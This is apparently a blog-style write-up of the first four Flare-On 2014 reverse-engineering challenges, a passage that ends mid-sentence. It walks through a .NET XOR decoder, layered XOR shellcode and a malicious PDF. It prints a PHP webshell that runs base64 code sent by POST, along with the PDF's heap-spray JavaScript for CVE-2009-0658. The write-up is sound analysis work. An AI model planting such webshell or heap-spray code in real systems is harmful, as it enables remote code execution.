12684 words
63 minutes
Flare-On 2014 Jan 2026

Challenge 1 - Bob Doge#

Stage 1 Extracting CAB File#

Initial Triage#

  • File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64, 6 sections
  • Size: 279 KB
  • SHA256: f8aac4d0cccabd11d7b10d63dc2acc451ea832077650971d3c66834861162981

Basic Static Analysis:#

  • Detect it Easy (Die) show that this file is self-extracted CAB/SFX style packing, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a wrapper/loader.
  • The .rsrc section is compressed, which is why the tool flags high entropy, classic sign of packing or encryption.
  • Compression algorithm used inside the CAB is LZX (as shown), which is common in Microsoft CAB archives.
  • So we have to first extract the actual exe from this and analyze it,

Pasted image 20260118140836.png

Pasted image 20260118141726.png

  • We can extract it using cabextract tool, and it will written in Challenge1.exe file,
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[/]
└─$ cabextract C1.exe.defused
Extracting cabinet: C1.exe.defused
extracting Challenge1.exe
All done, no errors.

Stage 2 Analysis of .NET Sample#

Initial Triage#

  • File Type: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections
  • Size: 118 KB
  • SHA256: c1b55c829a8420fa41e7a31344b6427045cea288458fe1c0f32cae47b2e812f2

Basic Static Analysis:#

  • Detect it Easy (Die) show that this file is .NET binary written in C# using visual studio.
  • Also .text is packed as per die because it show high entropy in it.

Pasted image 20260118142239.png

Pasted image 20260118142850.png

  • We know that this code compiles to Microsoft Intermediate Language (MSIL or IL).
  • IL is a human-readable, high-level assembly-like language, not raw CPU instructions.
  • So we can read it using tools such as dnSpy, Dotpeek etc.
  • here is the example of IL,
.method public hidebysig static void Main() cil managed
{
.entrypoint
ldstr "Hello, world!"
call void [mscorlib]System.Console::WriteLine(string)
ret
}

Code Analysis#

Pasted image 20260118143113.png

  • I used dnSpy for this analysis,
  • In Resources i found something phishy which is rev_challenge_1.dat_secret.encode so i saved it and it looks like encrypted data,
  • Also some cool memes πŸ˜‚,

Pasted image 20260118143314.png

Pasted image 20260118143648.png

  • Now Let’s dive into actual code, so typically we start with main function in Program section,
  • This code just starts a Windows Forms GUI app and opens Form1 so Form1 is the one we had to go,

Pasted image 20260118143831.png

  • Immediately we see one function btnDecode_Click which do some kind of math or crypto stuff, and it is loading that rev_challenge_1.dat_secret.encode file as input.

Pasted image 20260118144043.png

  • At first glance, honestly, I can’t understand this code, so I take help from our friend GPT to explain it to me, and here is what I understand,
0xa1 0xb5 0x44 (original)
0x1a 0x5b 0x44 (swap hex digits)
(0x1a ^ 0x29) (0x5b ^ 0x29) (0x44 ^ 0x29) β†’ 0x33 0x72 0x6d

Flag Extraction#

  • So i load this input file into CyberChef and apply all the necessary filters and features to get decrypted result and here it is,

Pasted image 20260118145903.png

  • Here is out flag,
3rmahg3rd.b0b.d0ge@flare-on.com
  • Here is recipe of this,
[
{ "op": "To Hex",
"args": ["Space", 0] },
{ "op": "Remove whitespace",
"args": [true, true, true, true, true, false] },
{ "op": "Find / Replace",
"args": [{ "option": "Regex", "string": "([0-9a-fA-F])([0-9a-fA-F])" }, "$2$1", true, false, true, false] },
{ "op": "Remove whitespace",
"args": [true, true, true, true, true, false] },
{ "op": "From Hex",
"args": ["Auto"] },
{ "op": "XOR",
"args": [{ "option": "Decimal", "string": "41" }, "Standard", false] }
]
  • Here is the similar py script for doing this same task,
#!/usr/bin/env python3
"""
Replicates CyberChef operations:
1. From Hexdump
2. To Hex (space delimited)
3. Remove whitespace
4. Find/Replace (swap hex digit pairs)
5. Remove whitespace
6. From Hex
7. XOR with 41 (decimal)
"""
import re
import sys
def from_hexdump(data):
"""Extract hex bytes from hexdump format"""
lines = data.strip().split('\n')
hex_bytes = []
for line in lines:
# Remove offset and ASCII representation, keep only hex bytes
parts = line.split()
for part in parts:
# Skip offset (contains colon) and non-hex parts
if ':' in part or not all(c in '0123456789abcdefABCDEF' for c in part):
continue
# Add hex bytes (typically 2 chars each)
for i in range(0, len(part), 2):
if i + 1 < len(part):
hex_bytes.append(part[i:i+2])
return bytes.fromhex(''.join(hex_bytes))
def to_hex_space(data):
"""Convert bytes to space-separated hex"""
return ' '.join(f'{b:02x}' for b in data)
def remove_whitespace(text):
"""Remove all whitespace"""
return re.sub(r'\s+', '', text)
def swap_hex_pairs(text):
"""Swap each pair of hex digits: AB -> BA"""
return re.sub(r'([0-9a-fA-F])([0-9a-fA-F])', r'\2\1', text)
def from_hex(hex_string):
"""Convert hex string to bytes"""
return bytes.fromhex(hex_string)
def xor_decrypt(data, key):
"""XOR each byte with the key"""
return bytes(b ^ key for b in data)
def main():
input_file = 'rev_challenge_1.dat_secret.encode'
try:
# Read input file in binary mode
with open(input_file, 'rb') as f:
data = f.read()
print(f"[+] Reading from {input_file}")
# Step 1: From Hexdump - skip this step, data is already binary
print("[+] Step 1: Using binary data directly")
step1 = data
# Step 2: To Hex (space delimited)
print("[+] Step 2: To Hex (space delimited)")
step2 = to_hex_space(step1)
# Step 3: Remove whitespace
print("[+] Step 3: Remove whitespace")
step3 = remove_whitespace(step2)
# Step 4: Find/Replace - swap hex digit pairs
print("[+] Step 4: Swap hex digit pairs")
step4 = swap_hex_pairs(step3)
# Step 5: Remove whitespace (again)
print("[+] Step 5: Remove whitespace")
step5 = remove_whitespace(step4)
# Step 6: From Hex
print("[+] Step 6: From Hex")
step6 = from_hex(step5)
# Step 7: XOR with 41 (decimal)
print("[+] Step 7: XOR with 41")
result = xor_decrypt(step6, 41)
# Output result
print("\n" + "="*60)
print("DECODED OUTPUT:")
print("="*60)
try:
print(result.decode('utf-8', errors='replace'))
except:
print(result)
print("="*60)
# Save to file
output_file = 'decoded_output.txt'
with open(output_file, 'wb') as f:
f.write(result)
print(f"\n[+] Output saved to {output_file}")
except FileNotFoundError:
print(f"[!] Error: File '{input_file}' not found")
print(f"[!] Please ensure the file exists in the current directory")
sys.exit(1)
except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == '__main__':
main()

Challenge 2: Javascrap#

Stage 0 Character Table Construction#

Initial Triage#

  • Challenge Type: Reverse-Engineering / Web / Obfuscated Code
  • Files Provided:
    • home.html
      • File Type: home.html: HTML document, Unicode text, UTF-8 text, with very long lines (1428), with CRLF line terminators
      • Size: 8.17 KB
      • SHA256: d1b235e49336c2e510100bd3ffa3113d9c757ffb4829e9564597dbab8338b710
    • img/flare-on.png (PNG image)
      • File Type: img/flare-on.png: PNG image data, 400 x 79, 8-bit/color RGBA, non-interlaced
      • Size: 9.33 KB
      • SHA256: 87528d13f40b51b6de90124fb92bcbc38a54e5241cd7ef969208c0707ed893dd

Basic Static Analysis:#

  • The PNG is being included as PHP code via an include in the HTML page: i.e., the challenge hides a PHP script inside what looks like an image.

Pasted image 20260119201225.png

  • Performing strings on flare-on.png reveals appended PHP source code instead of pure image data.

Pasted image 20260119201531.png

  • The appended PHP contains two large arrays: $terms and $order, and a reconstruction loop that builds a second PHP script dynamically.

Stage 1: Obfuscation Decoding#

1: Character Table Reconstruction#

The embedded PHP begins:

Pasted image 20260119202546.png

$terms = array("M","Z","]","p",...,"|");
$order = array(59,71,73,13,...,47);
$do_me="";
for($i=0;$i<count($order);$i++){
$do_me=$do_me.$terms[$order[$i]];
}
print($do_me);
  • $terms is a custom character lookup table - each entry is a single character.
  • $order is a list of integers, each an index into $terms.
  • The loop concatenates $terms[$order[i]] to form a complete PHP script string in $do_me.
  • Instead of running eval() immediately, you can replace it with print to dump the generated code for analysis.

Stage 2: Second-Layer Decoding#

After reconstructing the inner PHP, the output looks like:

Pasted image 20260119202723.png

$_ = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlc ...';
$__ = 'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));
  • $_ and $__ are Base64-encoded strings.
  • $___ is obfuscated with hex escape sequences representing the string base64_decode.
  • eval($___($__)) resolves to:
$code = base64_decode($_);
eval($code);

This decodes the next stage of the script and executes it.

Stage 3: Escaped Payload Interpretation#

Pasted image 20260119202813.png

The inner decoded PHP is:

if (isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F..."])){
eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104..."]));
}
  • The $_POST key names are obfuscated using a mix of octal (\NNN) and hex (\xNN) escapes.
  • To understand the actual identifier, all escape sequences must be converted into ASCII.

Stage 4: Normalization and Flag Extraction#

Pasted image 20260119202842.png

The decoded sequence:

a11DOTthatDOTjava5crapATflareDASHonDOTcom

comes from interpreting those escape sequences as numbers and converting them to characters.
Replace placeholder tokens:

  • DOT β†’ .

  • AT β†’ @

  • DASH β†’ -

  • Final flag:

a11.that.java5crap@flare-on.com

Final Behavior#

The decoded PHP callback becomes:

if (isset($_POST["a11.that.java5crap@flare-on.com"])) {
eval(base64_decode($_POST["a11.that.java5crap@flare-on.com"]));
}
  • This is a simple PHP webshell that executes Base64-encoded PHP from an HTTP POST field if sent under the correct key.

Challenge 3:#

Stage 1 Extracting Shellcode from Wrapper EXE#

Initial Triage#

  • File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
  • Size: 7 KB
  • SHA256: 4ab2023b2f34c8c49ffd15a051b46b6be13cb84775142ec85403a08c0d846c72

Basic Static Analysis#

  • Detect it Easy (Die) show that this file is C Compiled File, and Tiny C compiler was used to compile it, also it can be stripped as per file command results.
  • In Entropy section we can see that there is only 2 section which is .text and .data,

Pasted image 20260121104440.png

Pasted image 20260121104830.png

  • PEStudio Shows that most of data is on .text section and raw-size is 6144 bytes,

Pasted image 20260121105229.png

Advance Static Analysis#

  • I have used IDA Free to do disassemble the exe file,
    • In that i opened start function which has some interesting functions and particularly this sub_401000,

Pasted image 20260121105432.png

  • In this sub_401000 function, there are multiple bytes which are being pushed into stack and at the end it being called using this instruction,

Pasted image 20260121110122.png

.text:00401000 ; int __cdecl sub_401000(_DWORD, _DWORD, _DWORD)
.text:00401000 sub_401000 proc near ; CODE XREF: start+6A↓p
.text:00401000
.text:00401000 var_201 = byte ptr -201h
.text:00401000 var_200 = byte ptr -200h
...
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 204h
.text:00401009 nop
.text:0040100A mov eax, 0E8h
.text:0040100F mov [ebp+var_201], al
.text:00401015 mov eax, 0
.text:0040101A mov [ebp+var_200], al
...
.text:00402492 mov [ebp+var_1], al
.text:00402495 lea eax, [ebp+var_201]
.text:0040249B call eax
  • It means it means it can shellcode because 0E8h is being pushed, it means call target,
  • but why this importent,
    • Shellcode has a huge problem: It does NOT know its own address
      • it can be placed anywhere in memory
      • no imports
      • no fixed base
      • no PE headers

Advanced Dynamic Analysis#

  • So to extract the shellcode we will use x32dbg because we have 32 bit binary and put a breakpoint in this particular 0040249B offset which is call eax so we will dump EAX into memory and carve it and move further.
  • But first we land in entry point of program,
004024C0 | 55 | push ebp
004024C1 | 89E5 | mov ebp,esp
004024C3 | 81EC 2C000000 | sub esp,2C

Pasted image 20260121111145.png

  • So we can go to that location using CTRL + G shortcut,

Pasted image 20260121111257.png

  • We will put breakpoint using using F2 in that instruction,
00402495 | 8D85 FFFDFFFF | lea eax,dword ptr ss:[ebp-201]
0040249B | FFD0 | call eax
0040249D | B8 00000000 | mov eax,0

Pasted image 20260121111432.png

  • So now we will run till this breakpoint and dump the EAX content inside the dump windows,
  • And again we can see that there is E8 00 00.. format which means it will be shellcode so we can dump this using this command,
savedata "C:\Users\Asus\Desktop\shellcode.bin", EAX, 0x4000

Pasted image 20260121111909.png

Pasted image 20260121112242.png

  • So it will be written in shellcode.bin,

Stage 2 Analyzing Shellcode#

Initial Triage#

  • File Type: data
  • Size: 16 KB
  • SHA256: 7d60f98eaa49863a604f75425ced94f86faf2eb9d83e0c1ce7490c852930f44e

Advance Static Analysis#

  • To get the hex code we can use HxD tool and copy from there and I used cutter for this analysis because it gives graph view, so paste it into that cutter,

Pasted image 20260121113255.png

  • I remove some bytes which are not that important, after 0xC995,
E8 00 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 07 08 02 46 15 09 46 0F 12 46 04 03 01 0F 08 15 0E 13 15 66 66 0E 15 07 13 14 0E 08 09 16 07 EF 85 8E 66 66 66 66 ED 52 42 E5 A0 4B EF 97 E7 A7 EA 67 66 66 EF BE E5 A6 6C 5F BE 13 63 EF 85 E5 A5 62 5F A8 12 6E EC 75 56 70 25 20 8D 8D 8F 57 66 66 66 6F 6C 62 27 67 62 72 70 6A 35 7C 66 36 60 70 73 33 7A 7C 65 2F 6C 72 27 66 68 33 70 72 78 66 29 7E 66 67 63 33 7D 7D 35 7C 61 73 27 65 66 7A 7A 67 FD 08 09 16 07 9E 33 37 97 D5 0B B1 31 17 07 15 84 EA 14 6D 1B 89 3F 74 48 79 40 90 D2 17 96 E1 0D FD EA FA C8 7F 53 71 5A E9 CE 74 48 79 40 E1 CB EF C2 02 34 45 61 48 20 5F 3C 07 3F 0C 23 1B 3B 0D 28 05 7B 1E 3E 02 2F 09 60 1E 20 10 3E 16 7A ED AD 9C 48 79 40 71 D0 4B 76 E9 80 57 C9 86 C9 BE 85 71 5A 64 C7 AC CB B9 58 48 83 0A 57 E3 A5 F9 83 73 71 B1 27 79 D0 77 7E 62 0B 3F AB 9A B2 62 52 6A 46 66 58 73 00 38 15 39 00 21 5F 25 15 24 1E 32 1E 1F 5B 70 42 7A 1A 7B 18 7E 10 75 15 60 55 3A 55 0D 60 78 17 61 4D 7C 5A 7A 46 26 40 65 0D 31 0B 6F 4B 72 09 71 52 D8 D1 E3 72 0B 2A 17 A4 30 18 DC FA 2F B6 E7 F0 94 06 16 2D 16 F2 CE A2 8A 3D 37 B8 63 21 9B DF 81 ED 40 18 CC 59 03 F5 43 54 06 7C 4B 8D F8 63 E4 F2 5A 76 FA 4A E6 53 62 90 66 13 FF 0C 60 88 4D 38 FF 5E F1 77 7B 7D 40 E1 F0 8E 7B 7C 5B D4 30 39 2A 9E F6 38 49 1F F0 28 99 95 4B F2 61 DB 62 D0 56 48 05 22 12 29 8A D2 45 49 20 75 0D 3F 48 AC F3 29 52 07 A3 34 BB 7F 05 98 10 58 72 C8 E6 67 9D E0 75 88 1B 66 55 73 76 24 1C 7F 19 0D 46 2F 25 35 14 8D 80 B2 2E 4B 01 80 32 1C 95 C9 00

Pasted image 20260121113539.png

  • It is loop that doing some stuff,
    • The CALL instruction is not for calling a function
    • It is used to steal the current address so the code can decrypt and execute itself.
    • So it means call 5 will pushes 0x00000005 onto stack jumps to 0x00000005 now stack has [rsp] = address_of_shellcode then mov esi, [rsp] will push it into esi which means 0x05 + 0x1C = 0x21,
  • seg000:00000021 to seg000:00000030 is encrypted block,

Pasted image 20260121121437.png

0x00000000 call 5 ; fcn.00000000(void)
0x00000005 mov esi, dword [rsp]
0x00000008 add esi, 0x1c
0x0000000b mov ecx, 0x1df
0x00000010 cmp ecx, 0
  • Decryption block with key 0x66
0x00000015 xor byte [rsi], 0x66
0x00000018 jmp 0x10
  • So here is the whole summarized flow,
call β†’ pop β†’ add offset β†’ xor loop (key 0x66) β†’ jump

Pasted image 20260121113604.png

  • Possible Pseudocode,
base = get_rip();
payload = base + 0x1c;
for (i = 0; i < 0x1df; i++) {
payload[i] ^= 0x66;
}
jump_to(payload);
  • There is one block which is encrypted so i used, cyberchef to decrypt it with key 0x66

Pasted image 20260121120858.png

Pasted image 20260121120739.png

  • Decrypted String 1,
and so it begins
  • But you can see how tedious is this task in static analysis so to do this easiness we can use dynamic method.

Advanced Dynamic Analysis#

  • Again, i can use x32dgb for this task,

Layer 1 XORed Encryption#

  • This loop is doing decryption of encrypted text
0019FD43 | 83F9 00 | cmp ecx,0
0019FD46 | 74 07 | je 19FD4F
0019FD48 | 8036 66 | xor byte ptr ds:[esi],66
0019FD4B | 46 | inc esi
0019FD4C | 49 | dec ecx
0019FD4D | EB F4 | jmp 19FD43

Pasted image 20260121132031.png

0019FD53 00 61 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E .and so it begin
0019FD63 73 68 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61 shus..hsaurhnopa
  • Decrypted String 1,
so it begins

Layer 2 XORed Encryption#

  • for next layer just step through the instructions by doing step over,
  • This instructions are loading layer 2 decryption key in stack which is
0019FD69 | 68 73617572 | push 72756173
0019FD6E | 68 6E6F7061 | push 61706F6E
0019FD73 | 89E3 | mov ebx,esp
  • Here is actual key in hex 6E 6F 70 61 72 73 61 75 72 75 73 which is nopasaurus,

Pasted image 20260121133313.png

Pasted image 20260121132418.png

  • Now the actual loop begins and decryption starts using this key nopasaurus,
0019FD8D | 39D8 | cmp eax,ebx
0019FD8F | 75 05 | jne 19FD96
0019FD91 | 89E3 | mov ebx,esp
0019FD93 | 83C3 04 | add ebx,4
0019FD96 | 39CE | cmp esi,ecx
0019FD98 | 74 08 | je 19FDA2
0019FD9A | 8A13 | mov dl,byte ptr ds:[ebx]
0019FD9C | 3016 | xor byte ptr ds:[esi],dl
0019FD9E | 43 | inc ebx
0019FD9F | 46 | inc esi
0019FDA0 | EB EB | jmp 19FD8D

Pasted image 20260121133701.png

0019FDA6 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 65 .get ready to ge
0019FDB6 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D 6E t nop'ed so damn
0019FDC6 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 69 hard in the pai
0019FDD6 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 01 ntè.....4$.Æ.¹8.
  • Decrypted String 2,
get ready to get nop'ed so damn hard in the paint

Layer 3 XORed Encryption#

  • This is where 3rd loop starts and decryption starts with hardcoded hex 0x624F6C47,

Pasted image 20260121135337.png

0019FDE3 | B9 38010000 | mov ecx,138
0019FDE8 | 83F9 00 | cmp ecx,0
0019FDEB | 7E 0E | jle 19FDFB
0019FDED | 8136 624F6C47 | xor dword ptr ds:[esi],476C4F62
0019FDF3 | 83C6 04 | add esi,4
0019FDF6 | 83E9 04 | sub ecx,4
0019FDF9 | EB ED | jmp 19FDE8
  • This wrote some gibberish in memory,
0019FDF6 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 00 .é.ëí...........
0019FE06 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 68 .....hr?!?h oveh
0019FE16 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 6F mostht alhis iho
0019FE26 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 2D mg .ãè.....4$.Γ†-
  • After spending some time i realize that it is actually strings which is being loaded next,

Pasted image 20260121135106.png

0019FE0B | 68 723F213F | push 3F213F72
0019FE10 | 68 206F7665 | push 65766F20
0019FE15 | 68 6D6F7374 | push 74736F6D
0019FE1A | 68 7420616C | push 6C612074
0019FE1F | 68 69732069 | push 69207369
0019FE24 | 68 6F6D6720 | push 20676D6F
0019FE29 | 89E3 | mov ebx,esp

Pasted image 20260121135559.png

  • I take all hex convert it in Big endian format and arrange it in FILO (First in Last out) order because it is loaded in stack so here is the strings,
  • Interestingly this same text used as key for next layer.
omg i sit almost over?!?

Pasted image 20260121135835.png

Layer 4 XORed Encryption#

  • Here is loop which start with previous string as key for decryption routine,
0019FE43 | 39D8 | cmp eax,ebx
0019FE45 | 75 05 | jne 19FE4C
0019FE47 | 89E3 | mov ebx,esp
0019FE49 | 83C3 04 | add ebx,4
0019FE4C | 39CE | cmp esi,ecx
0019FE4E | 74 08 | je 19FE58
0019FE50 | 8A13 | mov dl,byte ptr ds:[ebx]
0019FE52 | 3016 | xor byte ptr ds:[esi],dl
0019FE54 | 43 | inc ebx
0019FE55 | 46 | inc esi
0019FE56 | EB EB | jmp 19FE43

Pasted image 20260121140344.png

0019FE56 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 31 ëëé....such.5h31
0019FE66 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F 6E 1010101@flare-on
0019FE76 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 20 .comhnt..h speh

Pasted image 20260121140451.png

  • Here is Final Flag… πŸ˜—
such.5h311010101@flare-on.com

Challenge 4:#

Stage 1 Malicious PDF Analysis#

Initial Triage#

  • File Type: APT9001.pdf: PDF document, version 1.5
  • Size: 21 KB
  • SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c

Basic Static Analysis#

  • Detect it Easy show nothing,
  • I do quick search its hash on VT this is the result,

Pasted image 20260125231735.png

  • 27 out of 65 is pretty high so maybe there is some data which is embedded in PDF.

Pasted image 20260125231924.png

  • So to check that i used pdfinfo tool to see metadata of pdf and here is what is got,
    • It has some js stuff so we can extract it using tool called, peepdf.

Pasted image 20260125232218.png

Advance Static Analysis#

Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~]
└─$ python2 /opt/peepdf/peepdf.py -fil APT9001.pdf
Warning: PyV8 is not installed!!
Warning: pylibemu is not installed!!
Warning: Python Imaging Library (PIL) is not installed!!
File: APT9001.pdf
MD5: f2bf6b87b5ab15a1889bddbe0be0903f
SHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Size: 21284 bytes
Version: 1.5
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 2
URIs: 0
Comments: 0
Errors: 1
Version 0:
Catalog: 1
Info: No
Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
Errors (1): [8]
Streams (2): [6, 8]
Encoded (2): [6, 8]
Decoding errors (1): [8]
Objects with JS code (1): [6]
Suspicious elements:
/OpenAction (1): [1]
/JS (1): [5]
/JavaScript (1): [5]
Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]
  • I tried to extract the JS code usingΒ extract js > extracted.jsΒ which appeared to be successful.
  • Also this is mind, β€œAdobe JBIG2Decode Heap Corruption (CVE-2009-0658)”
PPDF> extract js
// peepdf comment: Javascript code located in object 6 (version 0)
var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1.....u5740%ud0ff");
var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length < fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);
while (QCZabMzxQiD.length + bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
  • But this looks obfuscated and very messy so I cleaned it,
// peepdf comment: Javascript code located in object 6 (version 0)
var string_variable_2 = "";
var string_variable_4 = unescape("%u72f9%u4649%u152....5740%ud0ff");
var string_variable_1 = "";
for (counter_variable = 128; counter_variable >= 0; --counter_variable) string_variable_1 += unescape("%ub32f%u3791");
string_variable_3 = string_variable_1 + string_variable_4;
string_variable_5 = unescape("%ub32f%u3791");
while (string_variable_5.length < 790) string_variable_5 += string_variable_5;
substring1_of_str5 = string_variable_5.substring(0, 790);
substring2_of_str5 = string_variable_5.substring(0, string_variable_5.length - 790);
while (substring2_of_str5.length + 790 < 262144) substring2_of_str5 = substring2_of_str5 + substring2_of_str5 + substring1_of_str5;
another_array_variable = new Array();
for (counter_variable = 0; counter_variable < 100; counter_variable++)
another_array_variable[counter_variable] = substring2_of_str5 + string_variable_3;
for (counter_variable = 142; counter_variable >= 0; --counter_variable)
string_variable_2 += unescape("%ub550%u0166");
len_str2_plus20 = string_variable_2.length + 20
while (string_variable_2.length < len_str2_plus20) string_variable_2 += string_variable_2;
substring1_of_str2 = string_variable_2.substring(0, len_str2_plus20);
substring2_of_str2 = string_variable_2.substring(0, string_variable_2.length - len_str2_plus20);
while (substring2_of_str2.length + len_str2_plus20 < 262144) substring2_of_str2 = substring2_of_str2 + substring2_of_str2 + substring1_of_str2;
array_variable = new Array();
for (counter_variable = 0; counter_variable < 125; counter_variable++) array_variable[counter_variable] = substring2_of_str2 + string_variable_2;
  • But you might be confused that how this code will executed because it is in PDF right?
  • So here comes the interesting thing,
    • CVE-2009-0658 is a heap corruption vulnerability in Adobe Reader’s JBIG2Decode filter.
    • A malformed JBIG2 image causes memory overwrite in native code.
    • JavaScript heap spray is used beforehand to populate predictable heap memory with shellcode.
    • When the corrupted pointer is dereferenced, execution jumps into the sprayed heap region, leading to arbitrary code execution.
    • One of the first PDF + JS + native bug chains
  • So in short, if any user open this code in vulnerable Adobe Reader then this code will execute.

Code Explanation#

  • It hides malicious code
    • The long %uXXXX%uXXXX data is hidden machine code / shellcode.
    • unescape() converts it into real binary data.
  • It creates a lot of useless repeated data
    • Repeated patterns are added again and again.
    • This fills large parts of computer memory.
  • It mixes junk + malicious code
    • So memory looks like: junk junk junk β†’ malicious code
  • It puts this data many times into memory
    • Hundreds of copies are created.
    • This is called heap spraying.
  • Why it does this
    • Later, when Adobe Reader crashes due to a bug,
      the program may jump to a random memory address.
    • Because memory is full of attacker data,
      it lands on the malicious code.

Carving Next Stage#

  • After some code reading and research i found that string_variable_4 is the var which has next stage shellcode but it is encoded in some format in js so i did research and this is what i found,
